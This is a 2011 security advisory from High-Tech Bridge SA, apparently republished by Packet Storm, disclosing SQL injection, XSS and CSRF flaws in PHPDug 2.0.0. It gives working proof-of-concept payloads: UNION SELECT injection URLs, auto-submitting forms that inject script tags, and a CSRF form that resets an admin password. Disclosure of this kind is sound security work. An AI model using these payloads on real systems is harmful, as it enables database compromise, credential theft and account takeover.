PHPDug 2.0.0 XSS / XSRF / SQL Injection

2011-05-05T00:00:00
ID PACKETSTORM:101149
Type packetstorm
Reporter High-Tech Bridge SA
Modified 2011-05-05T00:00:00

Description

                                        
                                            `==============================  
Vulnerability ID: HTB22972  
Reference: http://www.htbridge.ch/advisory/multiple_sql_injection_vulnerabilities_in_phpdug.html  
Product: PHPDug  
Vendor: Kubelabs.com ( http://www.kubelabs.com/ )   
Vulnerable Version: 2.0.0 and probably prior versions  
Vendor Notification: 21 April 2011   
Vulnerability Type: SQL Injection  
Risk level: Low   
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "adm/admin_edit.php", "adm/usergroup_edit.php", "adm/category_edit.php" scripts to properly sanitize user-supplied input in "id" variables. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
1.  
  
<form action="http://host/adm/admin_edit.php" method="post" name="main">  
<input type="hidden" name="id[1]" value="1'SQL_CODE">  
<input type="hidden" name="username[1]" value="Admin">  
<input type="hidden" name="password[1]" value="Admin">  
<input type="hidden" name="Submit" value="Submit">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
2.  
  
http://host/adm/admin_edit.php?id=999'+UNION+SELECT+version(),user(),3+--+  
  
  
3.  
  
http://host/adm/usergroup_edit.php?id=999%27+UNION+SELECT+version%28%29,user%28%29,3,4+--+  
  
  
4.  
  
http://host/adm/category_edit.php?id=999%27+UNION+SELECT+user%28%29,version%28%29,3+--+  
  
  
==============================  
Vulnerability ID: HTB22970  
Reference: http://www.htbridge.ch/advisory/multiple_xss_vulnerabilities_in_phpdug.html  
Product: PHPDug  
Vendor: Kubelabs.com ( http://www.kubelabs.com/ )   
Vulnerable Version: 2.0.0 and probably prior versions  
Vendor Notification: 21 April 2011   
Vulnerability Type: XSS (Cross Site Scripting)  
Risk level: Medium   
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "add_story.php", "editprofile.php", "adm/content_add.php", "adm/admin_edit.php" scripts to properly sanitize user-supplied input in "story_url", "email", "title", "username" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
1.  
  
<form action="http://host/add_story.php" method="post" name="main">  
<input type="hidden" name="story_url" value='http://www.example.com/"><script>alert(document.cookie)</script>'>  
<input type="hidden" name="Submit" value="Continue">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
2.  
  
<form action="http://host/editprofile.php" method="post" name="main">  
<input type="hidden" name="email" value='email@example.com"><script>alert(document.cookie)</script>'>  
<input type="hidden" name="commentst" value="-4">  
<input type="hidden" name="Submit" value="Save Changes">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
3.  
  
<form action="http://host/adm/content_add.php" method="post" name="main">  
<input type="hidden" name="id" value="999">  
<input type="hidden" name="title" value='page"><script>alert(document.cookie)</script>'>  
<input type="hidden" name="contentvalue="content">  
<input type="hidden" name="Submit" value="Submit">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
4.  
  
<form action="http://host/adm/admin_edit.php" method="post" name="main">  
<input type="hidden" name="id[1]" value="1">  
<input type="hidden" name="username[1]" value='admin<script>alert("XSS")</script>'>  
<input type="hidden" name="password[1]" value="">  
<input type="hidden" name="Submit" value="Submit">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
==============================  
Vulnerability ID: HTB22971  
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_phpdug.html  
Product: PHPDug  
Vendor: Kubelabs.com ( http://www.kubelabs.com/ )   
Vulnerable Version: 2.0.0 and probably prior versions  
Vendor Notification: 21 April 2011   
Vulnerability Type: CSRF (Cross-Site Request Forgery)  
Risk level: Low   
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "adm/admin_edit.php" script to properly verify the source of HTTP request.  
  
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
  
<form action="http://host/adm/admin_edit.php" method="post" name="main">  
<input type="hidden" name="id[1]" value="USERID">  
<input type="hidden" name="username[USERID]" value="Admin">  
<input type="hidden" name="password[USERID]" value="test123">  
<input type="hidden" name="Submit" value="Submit">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
`